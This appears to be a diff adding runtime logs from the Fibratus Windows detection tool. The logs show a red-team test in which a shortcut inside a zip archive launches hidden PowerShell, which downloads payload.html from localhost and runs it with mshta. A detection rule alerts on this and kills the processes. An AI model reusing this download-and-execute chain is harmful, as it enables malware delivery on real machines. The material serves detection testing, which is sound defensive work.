log-stdout=>true level=>info max-backups=>15] + output ......................... [ http=>[ timeout=>5s enabled=>false endpoints=>[] enable-gzip=>false method=>POST tls-insecure-skip-verify=>false serializer=>json] elasticsearch=>[ enabled=>false gzip-compression=>false index-name=>fibratus healthcheck-interval=>10s trace-log=>false template-name=>fibratus flush-period=>1s bulk-workers=>1 healthcheck=>true sniff=>false servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s timeout=>5s] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty enabled=>true] eventlog=>[ enabled=>false level=>info] amqp=>[ passive=>false tls-insecure-skip-verify=>false vhost=>/ durable=>false enabled=>false delivery-mode=>transient timeout=>5s url=>amqp://localhost:5672 routing-key=>fibratus exchange-type=>topic exchange=>fibratus]] + pe ............................. [ enabled=>false excluded-images=>[svchost.exe] read-resources=>false read-symbols=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-mmaps=>false skip-registry=>false scan-timeout=>10s enabled=>false excluded-procs=>[] skip-files=>false skip-allocs=>false excluded-files=>[] fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-12-10T17:51:39+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-12-10T17:51:42+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-12-10T17:52:09+01:00 level=info msg=sending alert: [Suspicious process execution from archive via shortcut file]. Text: Process C:\Program Files\WinRAR\WinRAR.exe created a shortcut file that launched a suspicious process C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Event(s): + Seq: 3347524 + Pid: 8404 + Tid: 7008 + Type: CreateFile + CPU: 2 + Name: CreateFile + Category: file + Description: Creates or opens a file or I/O device + Host: archrabbit + Timestamp: 2025-12-10 17:52:08.4001415 +0100 CET + Params: attributes➜ , create_disposition➜ CREATE, create_options➜ SYNCHRONOUS_IO_NONALERT|NON_DIRECTORY_FILE, file_object➜ ffffc9065f9b5520, file_path➜ C:\Users\nedo\AppData\Local\Temp\Rar$DIa8404.16481\test.lnk, irp➜ ffffc9064afc6158, share_mask➜ READ, status➜ Success, tid➜ 7008, type➜ File + Metadata: rule.seq.link: 17084686915883499520, rule.name: Suspicious process execution from archive via shortcut file, tactic.id: TA0002, tactic.name: Execution, tactic.ref: https://attack.mitre.org/tactics/TA0002/ + + Pid: 8404 + Ppid: 16640 + Name: WinRAR.exe + Parent name: explorer.exe + Cmdline: "C:\Program Files\WinRAR\WinRAR.exe" "C:\Fibratus\redteam\test.zip" + Parent cmdline: "C:\WINDOWS\explorer.exe" + Exe: C:\Program Files\WinRAR\WinRAR.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\WinRAR\WinRAR.exe" "C:\Fibratus\redteam\test.zip"] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_16640_1262719628:1 EFC_16640_1592913036:1 EFC_16640_2283032206:1 EFC_16640_2775293581:1 EFC_16640_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\WinRAR;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + + Seq: 3350426 + Pid: 8404 + Tid: 11336 + Type: CreateProcess + CPU: 6 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-12-10 17:52:08.5398912 +0100 CET + Params: cmdline➜ "C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -Command "Start-Process -WindowStyle Hidden mshta.exe $env:TEMP\payload.html"; Invoke-WebRequest -Uri 'http://localhost' -OutFile $env:TEMP\payload.html, directory_table_base➜ 40e609000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe, exit_status➜ Success, flags➜ , kproc➜ ffffc906485e1080, name➜ powershell.exe, pid➜ 10512, ppid➜ 8404, real_ppid➜ 8404, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-10 17:52:08.5397986 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Suspicious process execution from archive via shortcut file, tactic.id: TA0002, tactic.name: Execution, tactic.ref: https://attack.mitre.org/tactics/TA0002/, rule.seq.link: 17084686915883499520 + + Pid: 8404 + Ppid: 16640 + Name: WinRAR.exe + Parent name: explorer.exe + Cmdline: "C:\Program Files\WinRAR\WinRAR.exe" "C:\Fibratus\redteam\test.zip" + Parent cmdline: "C:\WINDOWS\explorer.exe" + Exe: C:\Program Files\WinRAR\WinRAR.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\WinRAR\WinRAR.exe" "C:\Fibratus\redteam\test.zip"] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_16640_1262719628:1 EFC_16640_1592913036:1 EFC_16640_2283032206:1 EFC_16640_2775293581:1 EFC_16640_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\WinRAR;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-10T17:52:09+01:00 level=info msg=executing kill action: pids=[8404 10512] rule=Suspicious process execution from archive via shortcut file source=rules/engine.go:294 +time=2025-12-10T17:52:41+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-10T17:52:41+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-12-10T17:52:41+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-12-10T17:58:32+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-12-10T17:58:32+01:00 level=info msg=bootstrapping with pid 8448. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-12-10T17:58:33+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ quiet-mode=>false enabled=>false sound=>true] mail=>[ enabled=>false use-template=>true port=>25 content-type=>text/html to=>[]] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-envs=>true serialize-handles=>false serialize-images=>false serialize-threads=>false] + eventsource .................... [ enable-vamap=>true enable-dns=>false enable-mem=>false enable-audit-api=>true enable-fileio=>true stack-enrichment=>true flush-interval=>1s enable-image=>true enable-thread=>true min-buffers=>16 enable-handle=>false enable-net=>true max-buffers=>36 buffer-size=>512 enable-threadpool=>false enable-registry=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]]] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 log-stdout=>true level=>info max-size=>100 max-backups=>15 formatter=>text] + output ......................... [ amqp=>[ routing-key=>fibratus vhost=>/ timeout=>5s tls-insecure-skip-verify=>false passive=>false enabled=>false exchange-type=>topic url=>amqp://localhost:5672 exchange=>fibratus durable=>false delivery-mode=>transient] http=>[ endpoints=>[] enable-gzip=>false enabled=>false serializer=>json tls-insecure-skip-verify=>false timeout=>5s method=>POST] elasticsearch=>[ template-name=>fibratus sniff=>false trace-log=>false healthcheck=>true bulk-workers=>1 flush-period=>1s enabled=>false gzip-compression=>false index-name=>fibratus healthcheck-interval=>10s healthcheck-timeout=>5s timeout=>5s servers=>[http://127.0.0.1:9200]] eventlog=>[ level=>info enabled=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty]] + pe ............................. [ read-symbols=>false read-sections=>false read-resources=>false excluded-images=>[svchost.exe] enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ enabled=>false skip-mmaps=>false skip-files=>false excluded-procs=>[] fastscan=>true excluded-files=>[] skip-allocs=>false skip-registry=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-12-10T17:58:33+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-12-10T17:58:35+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-12-10T17:58:44+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-10T17:58:44+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-12-10T17:58:44+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-12-10T18:04:57+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-12-10T18:04:57+01:00 level=info msg=bootstrapping with pid 9484. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-12-10T18:04:57+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] systray=>[ quiet-mode=>false sound=>true enabled=>false] eventlog=>[ enabled=>true verbose=>true] mail=>[ content-type=>text/html port=>25 use-template=>true to=>[] enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-threads=>false serialize-handles=>false serialize-pe=>false serialize-images=>false] + eventsource .................... [ blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-image=>true min-buffers=>16 buffer-size=>512 enable-registry=>true enable-thread=>true enable-dns=>false max-buffers=>36 enable-vamap=>true enable-mem=>false enable-threadpool=>false flush-interval=>1s enable-audit-api=>true enable-fileio=>true stack-enrichment=>true enable-handle=>false enable-net=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-age=>0 formatter=>text max-backups=>15 log-stdout=>true level=>info max-size=>100] + output ......................... [ eventlog=>[ enabled=>false level=>info] amqp=>[ tls-insecure-skip-verify=>false vhost=>/ delivery-mode=>transient enabled=>false routing-key=>fibratus passive=>false exchange-type=>topic exchange=>fibratus timeout=>5s durable=>false url=>amqp://localhost:5672] http=>[ timeout=>5s method=>POST serializer=>json tls-insecure-skip-verify=>false enabled=>false endpoints=>[] enable-gzip=>false] elasticsearch=>[ trace-log=>false servers=>[http://127.0.0.1:9200] template-name=>fibratus flush-period=>1s enabled=>false bulk-workers=>1 timeout=>5s healthcheck-timeout=>5s sniff=>false healthcheck-interval=>10s index-name=>fibratus gzip-compression=>false healthcheck=>true] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty enabled=>true]] + pe ............................. [ read-symbols=>false read-sections=>false read-resources=>false excluded-images=>[svchost.exe] enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ fastscan=>true skip-files=>false skip-mmaps=>false skip-registry=>false scan-timeout=>10s excluded-files=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-allocs=>false excluded-procs=>[] enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-12-10T18:04:57+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-12-10T18:05:00+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-12-10T18:05:16+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-10T18:05:16+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-12-10T18:05:16+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-12-10T18:06:09+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-12-10T18:06:09+01:00 level=info msg=bootstrapping with pid 11544. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-12-10T18:06:09+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ use-template=>true port=>25 enabled=>false to=>[] content-type=>text/html] systray=>[ quiet-mode=>false sound=>true enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-threads=>false serialize-handles=>false serialize-pe=>false serialize-images=>false serialize-envs=>true] + eventsource .................... [ blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-handle=>false enable-net=>true enable-threadpool=>false enable-image=>true buffer-size=>512 enable-thread=>true flush-interval=>1s enable-registry=>true enable-audit-api=>true stack-enrichment=>true enable-mem=>false min-buffers=>16 enable-dns=>false enable-fileio=>true enable-vamap=>true max-buffers=>36] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true max-backups=>15 level=>info formatter=>text max-size=>100 max-age=>0] + output ......................... [ http=>[ method=>POST enable-gzip=>false endpoints=>[] timeout=>5s serializer=>json tls-insecure-skip-verify=>false enabled=>false] amqp=>[ exchange-type=>topic tls-insecure-skip-verify=>false timeout=>5s vhost=>/ enabled=>false exchange=>fibratus url=>amqp://localhost:5672 passive=>false routing-key=>fibratus delivery-mode=>transient durable=>false] elasticsearch=>[ enabled=>false gzip-compression=>false flush-period=>1s trace-log=>false healthcheck=>true timeout=>5s index-name=>fibratus servers=>[http://127.0.0.1:9200] template-name=>fibratus healthcheck-timeout=>5s healthcheck-interval=>10s sniff=>false bulk-workers=>1] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ enabled=>false read-symbols=>false excluded-images=>[svchost.exe] read-sections=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false]] + yara ........................... [ skip-files=>false fastscan=>true scan-timeout=>10s excluded-procs=>[] enabled=>false skip-allocs=>false skip-registry=>false excluded-files=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-mmaps=>false] source=bootstrap/bootstrap.go:185 +time=2025-12-10T18:06:09+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-12-10T18:06:12+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-12-10T18:06:27+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-10T18:06:27+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-12-10T18:06:28+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-12-10T18:08:03+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-12-10T18:08:03+01:00 level=info msg=bootstrapping with pid 15332. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-12-10T18:08:03+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ port=>25 enabled=>false content-type=>text/html use-template=>true to=>[]] systray=>[ quiet-mode=>false sound=>true enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-handles=>false serialize-images=>false serialize-threads=>false serialize-pe=>false serialize-envs=>true] + eventsource .................... [ enable-registry=>true enable-dns=>false enable-fileio=>true min-buffers=>16 flush-interval=>1s blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-image=>true enable-vamap=>true enable-mem=>false enable-audit-api=>true stack-enrichment=>true enable-net=>true enable-handle=>false max-buffers=>36 buffer-size=>512 enable-thread=>true enable-threadpool=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 log-stdout=>true formatter=>text max-age=>0 max-backups=>15 level=>info] + output ......................... [ http=>[ enabled=>false serializer=>json timeout=>5s method=>POST tls-insecure-skip-verify=>false endpoints=>[] enable-gzip=>false] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] elasticsearch=>[ servers=>[http://127.0.0.1:9200] sniff=>false healthcheck=>true template-name=>fibratus timeout=>5s healthcheck-timeout=>5s index-name=>fibratus bulk-workers=>1 trace-log=>false healthcheck-interval=>10s flush-period=>1s gzip-compression=>false enabled=>false] amqp=>[ exchange=>fibratus url=>amqp://localhost:5672 timeout=>5s routing-key=>fibratus durable=>false enabled=>false tls-insecure-skip-verify=>false delivery-mode=>transient exchange-type=>topic passive=>false vhost=>/] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-sections=>false enabled=>false read-resources=>false excluded-images=>[svchost.exe] read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false skip-allocs=>false excluded-files=>[] scan-timeout=>10s skip-registry=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-procs=>[] fastscan=>true skip-files=>false enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-12-10T18:08:03+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-12-10T18:08:06+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-12-10T18:08:29+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-10T18:08:29+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-12-10T18:08:30+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-12-10T18:08:42+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-12-10T18:08:42+01:00 level=info msg=bootstrapping with pid 1728. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-12-10T18:08:42+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ quiet-mode=>false sound=>true enabled=>false] mail=>[ content-type=>text/html port=>25 enabled=>false to=>[] use-template=>true] eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-envs=>true serialize-images=>false serialize-handles=>false serialize-pe=>false] + eventsource .................... [ buffer-size=>512 enable-handle=>false flush-interval=>1s enable-dns=>false enable-mem=>false enable-image=>true enable-fileio=>true enable-registry=>true enable-net=>true min-buffers=>16 enable-thread=>true enable-audit-api=>true max-buffers=>36 enable-vamap=>true stack-enrichment=>true enable-threadpool=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]]] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 log-stdout=>true max-size=>100 formatter=>text max-backups=>15 level=>info] + output ......................... [ http=>[ 